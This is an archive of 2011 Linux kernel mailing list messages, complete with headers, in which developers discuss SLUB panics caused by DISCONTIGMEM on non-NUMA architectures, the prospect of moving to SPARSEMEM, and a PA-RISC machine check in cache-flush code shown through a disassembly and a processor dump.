X-Msg-Ref: server-7.tower-191.messagelabs.com!1303307419!75483604!1
X-StarScan-Version: 6.2.9; banners=-,-,-
X-Originating-IP: [76.13.13.93]
X-SpamReason: No, hits=0.0 required=7.0 tests=UNPARSEABLE_RELAY
Original-Received: (qmail 10815 invoked from network); 20 Apr 2011 13:50:19 -0000
Original-Received: from smtp110.prem.mail.ac4.yahoo.com (HELO smtp110.prem.mail.ac4.yahoo.com) (76.13.13.93)
  by server-7.tower-191.messagelabs.com with SMTP; 20 Apr 2011 13:50:19 -0000
Original-Received: (qmail 19788 invoked from network); 20 Apr 2011 13:50:18 -0000
Original-Received: from router.home (cl@99.30.10.212 with plain)
        by smtp110.prem.mail.ac4.yahoo.com with SMTP; 20 Apr 2011 06:50:18 -0700 PDT
X-Yahoo-SMTP: _Dag8S.swBC1p4FJKLCXbs8NQzyse1SYSgnAbY0-
X-YMail-OSG: gJkjJQoVM1mat7ULshxZTCtmQ5JR3UAB1M_8.cBrxmer08p
 LEMs2h4sFWYzRC0l5v6R1oK.muv.GjIns_EJ_kQ7UZXjYzQayjv0E8zFcfjZ
 C2EZUbfed8RjAhdAFkvY7tIGfxNzgD9TCUKmD3Ej4ZBKgWduaSmcYcI3bioY
 zkRDTG3qzI2X6WpA_TrHFepREnLX4xLn7J6rQoP_lNuKHXRfogJ8peWxyVbx
 1VpegwErA0HZP8rsqn_Yc5rwi2parxe9mC09UFpbNcKiWIESsvbo0rCLDv7x
 qrjMMsVns6r84nz52fCGJW.h6R1Rbl8N20auyivSoak6wTon9RWD6fhLjLFQ
 CHdbkQivHRlBmx.y.ggP.6wv2
X-Yahoo-Newman-Property: ymail-3
Original-Received: from cl (helo=localhost)
	by router.home with local-esmtp (Exim 4.71)
	(envelope-from <cl@linux.com>)
	id 1QCXnN-0002GR-Va; Wed, 20 Apr 2011 08:50:18 -0500
X-X-Sender: cl@router.home
In-Reply-To: <20110420115804.461E.A69D9226@jp.fujitsu.com>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
X-Bogosity: Ham, tests=bogofilter, spamicity=0.000000, version=1.2.2
Original-Sender: owner-linux-mm@kvack.org
Precedence: bulk
X-Loop: owner-majordomo@kvack.org
List-ID: <linux-mm.kvack.org>
Xref: news.gmane.org gmane.linux.kernel.mm:61689 gmane.linux.kernel:1129018 gmane.linux.ports.parisc:3609
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.mm/61689>

On Wed, 20 Apr 2011, KOSAKI Motohiro wrote:

> >                  from arch/parisc/kernel/asm-offsets.c:31:
> > include/linux/topology.h: In function 'numa_node_id':
> > include/linux/topology.h:255: error: implicit declaration of function 'cpu_to_node'
>
> Sorry about that. I'll see more carefully the code later. Probably long
> time discontig-mem uninterest made multiple level breakage. Grr. ;-)

True. Someone needs to go through discontig and make it work right with a
!NUMA configuration. Many pieces of the core code assume that there will
be no node on a !NUMA config today. I guess that was different in ages
past.

Maybe we should make DISCONTIG broken under !NUMA until that time?

Tejon was working on getting rid of DISCONTIG. SPARSEMEM is the favored
alternative today. So we could potentially change the arches to use SPARSE
configs in the !NUMA case.


--
To unsubscribe, send a message with 'unsubscribe linux-mm' in
the body to majordomo@kvack.org.  For more info on Linux MM,
see: http://www.linux-mm.org/ .
Fight unfair telecom internet charges in Canada: sign http://stopthemeter.ca/
Don't email: <a href=mailto:"dont@kvack.org"> email@kvack.org </a>


From - Thu Nov 08 21:07:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <cl@linux.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc,gmane.linux.ports.m68k
Subject: Re: slub: fix panic with DISCONTIGMEM
Date: Wed, 20 Apr 2011 08:54:23 -0500 (CDT)
Lines: 35
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104200853150.8634@router.home>
References: <1303248576.11237.23.camel@mulgrave.site> <BANLkTinyvO78OnKZGW3jB_N6uao0tppnAw@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="-1463811839-557332752-1303307665=:8634"
X-Trace: dough.gmane.org 1303307682 15998 80.91.229.12 (20 Apr 2011 13:54:42 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 13:54:42 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@hansenpartnership.com>,
	linux-arch@vger.kernel.org, linux-mm@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>,
	Thorsten Glaser <tg@mirbsd.de>,
	Michael Schmitz <schmitzmic@googlemail.com>,
	Linux/m68k <linux-m68k@vger.kernel.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Original-X-From: linux-arch-owner@vger.kernel.org Wed Apr 20 15:54:36 2011
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1QCXrS-0002hx-0Q
	for glka-linux-arch@lo.gmane.org; Wed, 20 Apr 2011 15:54:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754051Ab1DTNy3 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 20 Apr 2011 09:54:29 -0400
Original-Received: from smtp103.prem.mail.ac4.yahoo.com ([76.13.13.42]:22644 "HELO
	smtp103.prem.mail.ac4.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1753649Ab1DTNy3 (ORCPT
	<rfc822;linux-arch@vger.kernel.org>);
	Wed, 20 Apr 2011 09:54:29 -0400
Original-Received: (qmail 79656 invoked from network); 20 Apr 2011 13:54:26 -0000
Original-Received: from router.home (cl@99.30.10.212 with plain)
        by smtp103.prem.mail.ac4.yahoo.com with SMTP; 20 Apr 2011 06:54:26 -0700 PDT
X-Yahoo-SMTP: _Dag8S.swBC1p4FJKLCXbs8NQzyse1SYSgnAbY0-
X-YMail-OSG: CVWFv2EVM1kBt1NRwn3oafQu8OIFIBD28bAsWJUCiTwp9HN
 vCfXuNdoWzRZ042ULslHF7K1v6xIYjeT2VlweNs00PICB7F5VOnz2k1SnKXT
 ERO7Z0rHiGMpE52TS5L8MpuCHO_QTF1jWW_nRynNO3noIiN9cQ9MW0b1bzVr
 NTc2Yx2_kcB6ejbWEORptxM_35xwA_RTyjiiitluy_wvB0bLnRa.UQNAnz9p
 SACkosh1jQZ4WL7cvsZ9Xh9mHTUwfYkp1DZ7uNEqCVjxpNOYVI_9eJbnJJBA
 2pMbJwQymT.AgoJ8.KgMvGvpg6Rox.Pcz3LBb1C_U9u7c0oJ7
X-Yahoo-Newman-Property: ymail-3
Original-Received: from cl (helo=localhost)
	by router.home with local-esmtp (Exim 4.71)
	(envelope-from <cl@linux.com>)
	id 1QCXrN-0002Hb-Pz; Wed, 20 Apr 2011 08:54:25 -0500
X-X-Sender: cl@router.home
In-Reply-To: <BANLkTinyvO78OnKZGW3jB_N6uao0tppnAw@mail.gmail.com>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:9622 gmane.linux.ports.parisc:3610 gmane.linux.ports.m68k:2154
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/9622>

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.

---1463811839-557332752-1303307665=:8634
Content-Type: TEXT/PLAIN; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE

On Wed, 20 Apr 2011, Geert Uytterhoeven wrote:

> On Tue, Apr 19, 2011 at 23:29, James Bottomley
> <James.Bottomley@hansenpartnership.com> wrote:
> > Slub makes assumptions about page_to_nid() which are violated by
> > DISCONTIGMEM and !NUMA. =C2=A0This violation results in a panic because
> > page_to_nid() can be non-zero for pages in the discontiguous ranges and
> > this leads to a null return by get_node(). =C2=A0The assertion by the
> > maintainer is that DISCONTIGMEM should only be allowed when NUMA is als=
o
> > defined. =C2=A0However, at least six architectures: alpha, ia64, m32r, =
m68k,
> > mips, parisc violate this. =C2=A0The panic is a regression against slab=
, so
> > just mark slub broken in the problem configuration to prevent users
> > reporting these panics.
>
> How does the problem manifest itself? We're having a problem on m68k, whi=
ch
> seems to go away when switching from SLUB to SLAB, or when reverting a co=
mmit
> in [2] (probably this was never reported upstream).

The NULL pointer dereference is typical. If SLUB breaks in this way then
other things are also not functioning in the core.

Guess you are also using DISCONTIG in !NUMA?
---1463811839-557332752-1303307665=:8634--

From - Thu Nov 08 21:07:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <cl@linux.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Wed, 20 Apr 2011 08:58:10 -0500 (CDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104200855050.8634@router.home>
References: <20110420102314.4604.A69D9226@jp.fujitsu.com> <BANLkTi=mxWwLPEnB+rGg29b06xNUD0XvsA@mail.gmail.com> <20110420161615.462D.A69D9226@jp.fujitsu.com> <BANLkTimfpY3gq8oY6bPDajBW7JN6Hp+A0A@mail.gmail.com> <20110420112020.GA31296@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303307902 17366 80.91.229.12 (20 Apr 2011 13:58:22 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 13:58:22 +0000 (UTC)
Cc: Pekka Enberg <penberg@kernel.org>,
	KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>,
	Ingo Molnar <mingo@elte.hu>, x86 maintainers <x86@kernel.org>,
	Mel Gorman <mel@csn.ul.ie>
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 20 15:58:16 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCXv6-00066o-85
	for glpp-linux-parisc@lo.gmane.org; Wed, 20 Apr 2011 15:58:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753649Ab1DTN6P (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Apr 2011 09:58:15 -0400
Original-Received: from smtp104.prem.mail.ac4.yahoo.com ([76.13.13.43]:44788 "HELO
	smtp104.prem.mail.ac4.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1752710Ab1DTN6O (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Apr 2011 09:58:14 -0400
Original-Received: (qmail 64810 invoked from network); 20 Apr 2011 13:58:14 -0000
Original-Received: from router.home (cl@99.30.10.212 with plain)
        by smtp104.prem.mail.ac4.yahoo.com with SMTP; 20 Apr 2011 06:58:13 -0700 PDT
X-Yahoo-SMTP: _Dag8S.swBC1p4FJKLCXbs8NQzyse1SYSgnAbY0-
X-YMail-OSG: ZtHoZv0VM1np0DLECk830bq61GITWjc1fiuVICLmpEHcFxJ
 e42rmi0PrDnOzOwo1ME_YAgJ5JJBQdNDkvWvXjH3p9Or7G3cjYwbboRpKhL2
 7uP_j2mEl2LhMw4LbxIwR7PBmhtERh9vIYWFA_hbS0A9aRk1BUI8VfDpqRva
 6cH5GuoyKe6pVRX2L0HgHz6vQA4wgva5E0_B4ch0S9VwgVhd5t5WpTWAVwRi
 z6YEPi2ecycUS.3ffDCDe_5E6eh5DA9qIjegj5eMolftnpITSDe_MNz8Z0MD
 uY0i12AVx1GPq2lc6dY2h_fre0.3IfxiVx2WZ9ghw4CvPFj6M
X-Yahoo-Newman-Property: ymail-3
Original-Received: from cl (helo=localhost)
	by router.home with local-esmtp (Exim 4.71)
	(envelope-from <cl@linux.com>)
	id 1QCXv3-0002Ii-9O; Wed, 20 Apr 2011 08:58:13 -0500
X-X-Sender: cl@router.home
In-Reply-To: <20110420112020.GA31296@parisc-linux.org>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3611 gmane.linux.kernel.mm:61690 gmane.linux.kernel:1129021
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3611>

On Wed, 20 Apr 2011, Matthew Wilcox wrote:

> On Wed, Apr 20, 2011 at 10:34:23AM +0300, Pekka Enberg wrote:
> > That part makes me think the best option is to make parisc do
> > CONFIG_NUMA as well regardless of the historical intent was.
>
> But it's not just parisc.  It's six other architectures as well, some
> of which aren't even SMP.  Does !SMP && NUMA make any kind of sense?

Of course not.

> I think really, this is just a giant horrible misunderstanding on the part
> of the MM people.  There's no reason why an ARM chip with 16MB of memory
> at 0 and 16MB of memory at 1GB should be saddled with all the NUMA gunk.

DISCONTIG has fallen out of favor in the last years. SPARSEMEM has largely
replaced it. ARM uses that and does not suffer from these issue.

No one considered the issues of having a !NUMA configuration with
nodes (which DISCONTIG seems to create) when developing core code in the
last years. The implicit assumption has always been that page_to_nid(x)
etc is always zero on a !NUMA configuration.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Lameter <cl@linux.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.mm,gmane.linux.kernel
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Wed, 20 Apr 2011 09:07:50 -0500 (CDT)
Lines: 14
Approved: news@gmane.org
Message-ID: <alpine.DEB.2.00.1104200906170.8634@router.home>
References: <20110420102314.4604.A69D9226@jp.fujitsu.com> <BANLkTi=mxWwLPEnB+rGg29b06xNUD0XvsA@mail.gmail.com> <20110420161615.462D.A69D9226@jp.fujitsu.com> <BANLkTimfpY3gq8oY6bPDajBW7JN6Hp+A0A@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: dough.gmane.org 1303308485 21218 80.91.229.12 (20 Apr 2011 14:08:05 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 14:08:05 +0000 (UTC)
Cc: KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	James Bottomley <James.Bottomley@hansenpartnership.com>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>,
	Ingo Molnar <mingo@elte.hu>, x86 maintainers <x86@kernel.org>,
	Tejun Heo <tj@kernel.org>
To: Pekka Enberg <penberg@kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 20 16:07:59 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCY4T-0003wj-AU
	for glpp-linux-parisc@lo.gmane.org; Wed, 20 Apr 2011 16:07:57 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752709Ab1DTOH4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Apr 2011 10:07:56 -0400
Original-Received: from smtp103.prem.mail.ac4.yahoo.com ([76.13.13.42]:28452 "HELO
	smtp103.prem.mail.ac4.yahoo.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with SMTP id S1752699Ab1DTOH4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Apr 2011 10:07:56 -0400
Original-Received: (qmail 85333 invoked from network); 20 Apr 2011 14:07:54 -0000
Original-Received: from router.home (cl@99.30.10.212 with plain)
        by smtp103.prem.mail.ac4.yahoo.com with SMTP; 20 Apr 2011 07:07:54 -0700 PDT
X-Yahoo-SMTP: _Dag8S.swBC1p4FJKLCXbs8NQzyse1SYSgnAbY0-
X-YMail-OSG: KP3JeLEVM1kb_2HiNZ_lVoN0AEIfYaPYvbkPZdDzlrE4J2X
 QfN2ZIZfdkdLE3nFliPAFqixogP5a1XIi1byTmUmDbO6AgAcu65qmFXX9u50
 0qCFHwR4d9MDp73JY3wQcKx0BbNQtrz38VGedXmpudhG4uPwX8dJARkM0gL6
 6QcwRP5CD29NImBgf7VK2MI0SE4IeDQDDyoyw_CNa1n.lD30CswinXU6EjHf
 4Rbp5_s1lYt.pIz8V9pz5eSvB7GoeL56f2qJ_KDAa91Rlv6A0YfhotRYoAH2
 BbC3qzXWd5thv.tY9IBNXnLdccUxGjZkXxhWUx84HzG_qVm4MUMn2PCfkgop
 4gPurIxNykmJaEzwvCHU7o.s-
X-Yahoo-Newman-Property: ymail-3
Original-Received: from cl (helo=localhost)
	by router.home with local-esmtp (Exim 4.71)
	(envelope-from <cl@linux.com>)
	id 1QCY4P-0002NH-SF; Wed, 20 Apr 2011 09:07:53 -0500
X-X-Sender: cl@router.home
In-Reply-To: <BANLkTimfpY3gq8oY6bPDajBW7JN6Hp+A0A@mail.gmail.com>
User-Agent: Alpine 2.00 (DEB 1167 2008-08-23)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3612 gmane.linux.kernel.mm:61691 gmane.linux.kernel:1129022
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3612>

On Wed, 20 Apr 2011, Pekka Enberg wrote:

> That part makes me think the best option is to make parisc do
> CONFIG_NUMA as well regardless of the historical intent was.

Another possilibity is to use SPARSEMEM instead? We can do the same for
the other arches that we have done to x86.


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:07:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: [PATCH v3] mm: make expand_downwards symmetrical to
 expand_upwards
Date: Wed, 20 Apr 2011 09:15:37 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <1303308938.2587.8.camel@mulgrave.site>
References: <20110420102314.4604.A69D9226@jp.fujitsu.com>
	 <BANLkTi=mxWwLPEnB+rGg29b06xNUD0XvsA@mail.gmail.com>
	 <20110420161615.462D.A69D9226@jp.fujitsu.com>
	 <BANLkTimfpY3gq8oY6bPDajBW7JN6Hp+A0A@mail.gmail.com>
	 <20110420112020.GA31296@parisc-linux.org>
	 <BANLkTim+m-v-4k17HUSOYSbmNFDtJTgD6g@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1303308954 24182 80.91.229.12 (20 Apr 2011 14:15:54 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 14:15:54 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>,
	KOSAKI Motohiro <kosaki.motohiro@jp.fujitsu.com>,
	Christoph Lameter <cl@linux.com>,
	Michal Hocko <mhocko@suse.cz>,
	Andrew Morton <akpm@linux-foundation.org>,
	Hugh Dickins <hughd@google.com>, linux-mm@kvack.org,
	LKML <linux-kernel@vger.kernel.org>,
	linux-parisc@vger.kernel.org, David Rientjes <rientjes@google.com>,
	Ingo Molnar <mingo@elte.hu>, x86 maintainers <x86@kernel.org>,
	linux-arch@vger.kernel.org
To: Pekka Enberg <penberg@kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Wed Apr 20 16:15:47 2011
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1QCYC3-0001mp-4i
	for glk-linux-kernel-3@lo.gmane.org; Wed, 20 Apr 2011 16:15:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753632Ab1DTOPo (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 20 Apr 2011 10:15:44 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:59852 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751611Ab1DTOPm (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 20 Apr 2011 10:15:42 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id B25018EE0A4;
	Wed, 20 Apr 2011 07:15:41 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id mCJi9hPRbkRj; Wed, 20 Apr 2011 07:15:41 -0700 (PDT)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 75BF08EE01D;
	Wed, 20 Apr 2011 07:15:40 -0700 (PDT)
In-Reply-To: <BANLkTim+m-v-4k17HUSOYSbmNFDtJTgD6g@mail.gmail.com>
X-Mailer: Evolution 2.32.1 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1129025 gmane.linux.kernel.mm:61692 gmane.linux.ports.parisc:3613 gmane.linux.kernel.cross-arch:9623
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1129025>

[added linux-arch to cc since we're going to be affecting them]
On Wed, 2011-04-20 at 14:28 +0300, Pekka Enberg wrote:
> Right. My point was simply that since x86 doesn't support DISCONTIGMEM
> without NUMA, the misunderstanding is likely very wide-spread.

Why don't we approach the problem in a few separate ways then. 

     1. We can look at what imposing NUMA on the DISCONTIGMEM archs
        would do ... the embedded ones are going to be hardest hit, but
        if it's not too much extra code, it might be palatable.
     2. The other is that we can audit mm to look at all the node
        assumptions in the non-numa case.  My suspicion is that
        accidentally or otherwise, it mostly works for the normal case,
        so there might not be much needed to pull it back to working
        properly for DISCONTIGMEM.
     3. Finally we could look at deprecating DISCONTIGMEM in favour of
        SPARSEMEM, but we'd still need to fix -stable for that case.
        Especially as it will take time to convert all the architectures

I'm certainly with Matthew: DISCONTIGMEM is supposed to be a lightweight
framework which allows machines with split physical memory ranges to
work.  That's a very common case nowadays.  Numa is supposed to be a
heavyweight framework to preserve node locality for non-uniform memory
access boxes (which none of the DISCONTIGMEM && !NUMA systems are).

James



From - Thu Nov 08 21:07:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Notes about the latest cache patches
Date: Wed, 20 Apr 2011 10:17:03 -0400
Organization: nrc.ca
Lines: 147
Approved: news@gmane.org
Message-ID: <20110420141703.GA11761@hiauly1.hia.nrc.ca>
References: <1302889310.7706.8.camel@mulgrave.site>
Reply-To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1303309033 24750 80.91.229.12 (20 Apr 2011 14:17:13 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Wed, 20 Apr 2011 14:17:13 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 20 16:17:08 2011
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1QCYDL-0001yW-0s
	for glpp-linux-parisc@lo.gmane.org; Wed, 20 Apr 2011 16:17:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753131Ab1DTORG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 20 Apr 2011 10:17:06 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.10.84]:4534 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753054Ab1DTORF (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 20 Apr 2011 10:17:05 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 41AFA4DF4; Wed, 20 Apr 2011 10:17:04 -0400 (EDT)
Content-Disposition: inline
In-Reply-To: <1302889310.7706.8.camel@mulgrave.site>
User-Agent: Mutt/1.5.16 (2007-06-09)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3614
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3614>

On Fri, 15 Apr 2011, James Bottomley wrote:

> I find that the combination of the two patches cures all the segfaults
> I've been seeing in normal compiles and git operations.

In testing, I haven't had any segfaults but there have been a couple
of hpmcs while running the libgomp testsuite.  This tests quite extensively
the LWS code.

I caught on hpmc in flush_instruction_cache_local:

0000000040101184 <flush_instruction_cache_local>:
    40101184:   00 00 58 20     mtsp r0,sr1
    40101188:   20 3b f8 08     ldil L%404f7800,r1
    4010118c:   34 21 03 a0     ldo 1d0(r1),r1
    40101190:   50 3a 00 20     ldd 10(r1),r26
    40101194:   50 39 00 30     ldd 18(r1),r25
    40101198:   50 38 00 40     ldd 20(r1),r24
    4010119c:   50 37 00 50     ldd 28(r1),r23
    401011a0:   00 01 0e 76     rsm 1,r22
    401011a4:   a6 ff a0 28     addib,*= -1,r23,401011c0 <fioneloop>
    401011a8:   cb f7 40 32     movb,<,n r23,r31,401011c8 <fisync>

00000000401011ac <fimanyloop>:
    401011ac:   af ff ff f5     addib,*> -1,r31,401011ac <fimanyloop>
    401011b0:   07 40 42 c0     fice r0(sr1,r26)
    401011b4:   07 59 42 e0     fice,m r25(sr1,r26)
    401011b8:   cb f7 9f dd     movb,tr r23,r31,401011ac <fimanyloop>
    401011bc:   a7 1f e0 0a     addib,*<=,n -1,r24,401011c8 <fisync>

00000000401011c0 <fioneloop>:
    401011c0:   af 1f ff f5     addib,*> -1,r24,401011c0 <fioneloop>
=>  401011c4:   07 59 42 e0     fice,m r25(sr1,r26)

00000000401011c8 <fisync>:
    401011c8:   00 00 04 00     sync
    401011cc:   00 16 18 60     mtsm r22
    401011d0:   e8 40 c0 00     bv r0(rp)
    401011d4:   08 00 02 40     nop

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

PROCESSOR PIM INFORMATION

Original Product Number:  A7136A
Current Product Number:   A7136A


-----------------  Processor 0 HPMC Information - PDC Version: 46.34  ------

Timestamp =   Wed Apr  20 11:57:24 GMT 2011    (20:11:04:20:11:57:24)

HPMC Chassis Codes

       Chassis Code        Extension
       ------------        ---------
       0xe800035c00e00000 0x00000000401011c4
       0x57000f7300e00000 0x8400000000800000
